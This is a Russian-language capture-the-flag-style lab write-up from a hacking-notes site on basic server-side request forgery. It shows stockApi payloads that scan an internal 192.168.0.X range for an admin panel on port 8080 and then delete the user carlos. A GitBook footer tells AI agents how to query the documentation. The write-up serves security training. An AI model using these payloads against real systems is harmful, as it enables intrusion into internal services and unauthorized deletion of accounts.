> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssrf/basic-ssrf-against-internal-system.md).

# Базовый SSRF против внутренней системы

## Базовый SSRF против другой бэкенд-системы

В этой лабораторной работе предусмотрена функция проверки наличия товара, которая обращается к внутреннему сервису. / Цель — использовать этот механизм для исследования внутреннего диапазона **192.168.0.X** в поисках административного интерфейса на порту **8080**, а затем удалить пользователя carlos.

#### **Анализ и эксплуатация**

* У **stockApi** параметр отправляется в **Intruder** для автоматизации проверки внутренних адресов:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/9eb45b9b154ffadd8bcf6688221e946ac0132fef" alt=""><figcaption></figcaption></figure>

Проводится грубая атака перебором по **254 возможным адресам** внутреннего диапазона, все с путем /admin.

Для проведения атаки загружается словарь значений:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* После запуска атаки, **192.168.0.14** адрес возвращает \*\*HTTP-код 200\*\*, что указывает на доступность административного интерфейса.

<figure><img src="/files/e23ce292edc9c4afe2534308b9dd2bb913af6543" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/77463bbc544a11f2595303f6c672bb741f4c5cbd" alt="" width="563"><figcaption></figcaption></figure>

#### **Удаление пользователя**

* Доступ к панели администратора:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/74bff6a8f23dcea4eb3f02f556bec711a371867f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
